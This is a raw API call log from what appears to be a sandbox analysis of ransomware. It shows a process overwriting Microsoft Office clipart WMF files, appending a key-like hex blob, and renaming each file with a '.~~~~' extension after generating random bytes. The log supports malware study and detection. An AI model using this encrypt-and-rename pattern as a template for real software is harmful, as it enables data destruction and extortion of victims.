	[0088.975] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff42e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.975] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xbd2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0xbd2, lpOverlapped=0x0) returned 1
	[0088.976] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0088.976] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.976] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.976] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.976] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.976] CloseHandle (hObject=0x118) returned 1
	[0088.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.976] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.~~~~")) returned 1
	[0088.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.977] GetLastError () returned 0x0
	[0088.977] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0088.978] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0088.978] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0088.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.978] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20896796562) returned 1
	[0088.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ed577b0, dwHighDateTime=0x1d60e1e)) 
	[0088.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0088.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1e60
	[0088.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0088.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e60 | out: hHeap=0x300000) returned 1
	[0088.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0088.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7428
	[0088.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.978] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0088.978] GetLastError () returned 0x0
	[0088.979] GetLastError () returned 0x0
	[0088.979] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0088.979] GetLastError () returned 0x0
	[0088.979] GetLastError () returned 0x0
	[0089.167] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffed82, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.168] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x127e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x127e, lpOverlapped=0x0) returned 1
	[0089.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.168] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.168] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.169] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.169] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.169] CloseHandle (hObject=0x118) returned 1
	[0089.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.169] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.~~~~")) returned 1
	[0089.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.170] GetLastError () returned 0x0
	[0089.170] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.172] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.172] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.172] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20916237283) returned 1
	[0089.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9eed4570, dwHighDateTime=0x1d60e1e)) 
	[0089.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2908
	[0089.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2908 | out: hHeap=0x300000) returned 1
	[0089.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bc08
	[0089.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.173] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.173] GetLastError () returned 0x0
	[0089.173] GetLastError () returned 0x0
	[0089.174] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.174] GetLastError () returned 0x0
	[0089.174] GetLastError () returned 0x0
	[0089.176] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff2a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.176] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xd58, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0xd58, lpOverlapped=0x0) returned 1
	[0089.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.177] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.177] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.177] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.177] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.177] CloseHandle (hObject=0x118) returned 1
	[0089.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.178] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.~~~~")) returned 1
	[0089.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.182] GetLastError () returned 0x0
	[0089.184] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.185] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.185] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.185] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20917545588) returned 1
	[0089.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9eefa6d0, dwHighDateTime=0x1d60e1e)) 
	[0089.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b28d0
	[0089.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b28d0 | out: hHeap=0x300000) returned 1
	[0089.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bdd0
	[0089.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.186] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.186] GetLastError () returned 0x0
	[0089.187] GetLastError () returned 0x0
	[0089.187] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.187] GetLastError () returned 0x0
	[0089.187] GetLastError () returned 0x0
	[0089.190] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff5b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.190] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xa4c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0xa4c, lpOverlapped=0x0) returned 1
	[0089.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.190] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.190] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.191] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.191] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.191] CloseHandle (hObject=0x118) returned 1
	[0089.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.191] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.~~~~")) returned 1
	[0089.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.192] GetLastError () returned 0x0
	[0089.192] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.194] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.194] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.194] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20918416687) returned 1
	[0089.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ef20830, dwHighDateTime=0x1d60e1e)) 
	[0089.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2898
	[0089.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2898 | out: hHeap=0x300000) returned 1
	[0089.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37be68
	[0089.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.195] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0089.195] GetLastError () returned 0x0
	[0089.195] GetLastError () returned 0x0
	[0089.195] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0089.195] GetLastError () returned 0x0
	[0089.195] GetLastError () returned 0x0
	[0089.198] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffe614, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.198] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x19ec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x19ec, lpOverlapped=0x0) returned 1
	[0089.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.199] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.199] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.199] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.199] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.199] CloseHandle (hObject=0x118) returned 1
	[0089.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.199] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.~~~~")) returned 1
	[0089.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0089.200] GetLastError () returned 0x0
	[0089.201] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394970) returned 1
	[0089.202] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.202] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0089.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0089.202] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20919209181) returned 1
	[0089.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9ef20830, dwHighDateTime=0x1d60e1e)) 
	[0089.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0089.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0089.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0089.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2860
	[0089.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2860 | out: hHeap=0x300000) returned 1
	[0089.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bf00
	[0089.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.203] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
